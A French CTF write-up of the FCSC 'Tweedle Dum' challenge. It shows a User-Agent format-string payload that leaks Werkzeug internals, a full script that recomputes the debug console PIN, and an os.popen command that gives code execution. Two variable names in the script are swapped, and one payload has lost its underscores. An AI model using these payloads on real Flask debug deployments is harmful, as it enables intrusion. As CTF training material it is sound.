Introduction
Les sources de ce challenges sont fournies :
.
├── docker-compose.yml
├── Dockerfile
└── src
├── app.py
├── static
│ ├── style.css
│ └── tweedle.png
└── templates
└── index.html
La partie qui nous intéresse est le fichier app.py
:
from flask import Flask, request, render_template
from werkzeug.middleware.proxy_fix import ProxyFix
from werkzeug.debug import DebuggedApplication
# No bruteforce needed, this is just here so you don't lock yourself or others out by accident
DebuggedApplication._fail_pin_auth = lambda self: None
app = Flask(__name__)
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1)
@app.route("/")
def hello_agent():
ua = request.user_agent
return render_template("index.html", msg=f"Hello {ua}".format(ua=ua))
# TODO: add the vulnerable code here
La challenge ce présente donc sous la forme d’une application web qui tourne sur le serveur flask.
Le seul endpoint qui semble atteignable est à la racine : https://tweedle-dum.france-cybersecurity-challenge.fr/
Si on se concentre sur le code, on comprend que notre User-Agent est render dans la template html:
render_template("index.html", msg=f"Hello {ua}".format(ua=ua))
<div id="bubble">{{msg}}</div>
(index.html)
Ce genre de code n’est pas vulnérable à une SSTI
Server-Side-Template-Injection puisque la variable ua
est correctement render.
En revanche une subtilité rend ce code vulnérable à une attaque par Format-String
:
f"Hello {ua}".format(ua=ua)
La présence d’une double format string permet d’injecter un payload dans la variable ua
Explications :
-
La première format string agit de la sorte:
>>> ua = 'vozec' >>> f"Hello {ua}" 'Hello vozec'
-
La seconde :
>>> ua = 'vozec' >>> "Hello {ua}".format(ua=ua) 'Hello vozec'
Vulnérabilité :
Si on injecte ce type d’entrée : {ua.__class__}
, la première format-string va créer cette string:
"Hello {{ua.__class__}}"
et la seconde va render et remplacer ua.__class__
par l’objet python correspondant.
On peut vérifier de cette manière :
curl https://tweedle-dum.france-cybersecurity-challenge.fr -H 'User-Agent:{ua.__class__}'
- Résultat:
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Tweedle Dum</title>
<link rel="stylesheet" href="/static/style.css" />
</head>
<body>
<main>
<div id="bubble">Hello <class 'werkzeug.user_agent.UserAgent'></div>
</main>
<!-- <a href="/console">Werkzeug console</a> -->
</body>
</html>
Nous avons une <class 'werkzeug.user_agent.UserAgent'>
en sortie de cette format string.
From Format-string to RCE:
On remarque dans l’html ce commentaire :
<a href="/console">Werkzeug console</a>
En y accédant, on se retrouve confronté à un code pin !
La présence de cette console de debug s’explique par la présence de cet argument passé dans l’application flask (Dockerfile) :
-
CMD ["flask", "run", "--host=0.0.0.0", "--port=2202", "--debug"]
L’idée ici va être de retrouver ce pin pour accéder à cette console et ainsi exécuter des commandes directement.
Cette théorie est appuyée par la présence de cette ligne dans app.py
:
DebuggedApplication._fail_pin_auth = lambda self: None
Si on compare avec la fonction _fail_pin_auth originale (présente ici) :
def _fail_pin_auth(self) -> None:
time.sleep(5.0 if self._failed_pin_auth > 5 else 0.5)
self._failed_pin_auth += 1
On comprend que l’auteur du challenge réécris le compteur d’échec de tentative de pin pour empêcher d’être banni par le serveur et de ne plus pouvoir résoudre le challenge.
Récupération du pin :
On va se rendre dans le code source de werkzeug pour comprendre comment ce pin est généré : Lien: ici
Voici le code complet qui génère le pin :
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
Toute la génération se base sur 2 listes pour un total de 6 variables :
- probably_public_bits
- username
- modname
- app.__name__
- app.__file__
- private_bits
- uuid.getnode()
- get_machine_id()
Récupérons donc toute ces variables !
Username:
La valeur est spécifié dans le Dockerfile, c’est le nom d’utilisateur qui lance le serveur:
USER guest
Nous avons donc une partie des probably_public_bits
: username=guest
Modname:
La valeur du modname
est constante : modname=flask.app
App.__name__:
La valeur du app.__name__
est constante : app.__name__=Flask
App.__file__:
On cherche ici a récupérer le path du fichier app.py
interne à flask. Ici, deux méthodes s’offrent à nous :
- Démarrer l’application en local avec le Dockerfile et récupérer le chemin d’accès.
- Utiliser le StackTrace de flask pour récupérer le path dans les logs verbeux renvoyés par le serveur.
J’ai utilisé la 2nd méthode.
Si on envoie un User-Agent avec une payload volontairement erronée comme {ua.__class__.vozec}
, on obtient:
=> app.__file__=/usr/local/lib/python3.10/site-packages/flask/app.py
Uuid et MachineId
Vient ici toute la difficulté du challenge.
Nous allons devoir utiliser la format string pour faire fuiter ces informations.
On retourne dans le code source de werkzeug
pour localiser ou sont ces informations.
-
La variable _machine_id est globale ce qui veut dire qu’elle est récupérable dans le module
werkzeug.debug
ici -
De même,
uuid
est un module opensource présent dans le coeur de Python et la variable recherchée est elle aussi globale ici
Exploitation complète de la Format-String:
Au cours de mes recherches, j’ai trouvé ce writeup du TokyoWesterns CTF 2018 : Shrine writeup. Il est très instructif mais surtout, nous fournit ce code pour parcourir les objets python.
Notre but ici va être de trouver un moyen de :
- Accéder au modules
sys
- Utiliser
sys
pour retrouver les autres modules - Accéder à
werkzeug.debug
- Accéder à
werkzeug.debug.uuid._node
etwerkzeug.debug._machine_id
On utilise ce code python pour explorer le module ua
:
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route("/")
def hello_agent():
best = 9999999999
ua = request.user_agent
for path, obj in search(ua, 50):
if str(obj).startswith("<module 'sys'"):
if len(path) < best:
best = len(path)
print(path)
return {'hello':'World'}
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj
if depth == max_depth:
return
elif isinstance(obj, (int, float, bool, str, bytes)):
return
elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
# print(obj)
else:
if obj in visited_objs:
return
visited_objs.append(obj)
# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass
# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
yield from visit(obj)
On peut accéder au module sys
de ces différentes manières :
-
{ua.__class__.__init__.__globals__[t].sys}
-
{ua.__class__.to_header.__globals__['__loader__'].__class__.__weakref__.__objclass__.get_data.__globals__['__loader__'].create_module.__globals__['__builtins__']['__build_css__'].__self__.copyright.__class__._Printer__setup.__globals__['sys']}
Résultat :
<div id="bubble">Hello <module 'sys' (built-in)></div>
On peut donc sélectionner le module werkzeug.debug:
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]}
puis enfin, les deux variables tant recherchées:
{ua.class.init.globals[t].sys.modules[werkzeug.debug]._machine_id}
- ```python
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
Combinaison des informations et RCE finale :
On peut donc tout lier pour obtenir le pin :
import requests
import re
import html
import hashlib
from itertools import chain
url = 'https://tweedle-dum.france-cybersecurity-challenge.fr'
def render(payload):
r = requests.get(url,headers={"User-Agent":payload}).text
return html.unescape(re.findall(r'Hello (.*?)</div>',r)[0])
machine_id = render(r'{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}')
uuid = eval(render(r'{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}')) # b'XXX-XXX-XXX...'
probably_public_bits = [
'guest',
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py',
]
private_bits = [
machine_id,
uuid
]
num = None
rv = None
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
Résultat :
[/mnt/c/Users/vozec/Desktop]$ python3 FCSC/Tweedle\ Dum.py
415-333-840
On peut donc le rentrer sur le /console et accéder à la console python. On flag finalement grâce au module os:
__import__('os').popen('cat flag*').read();
FCSC{9430d095589535ddf50fd070a9baad98a7203fd4cdd029b8ffc5c6ebb512f934}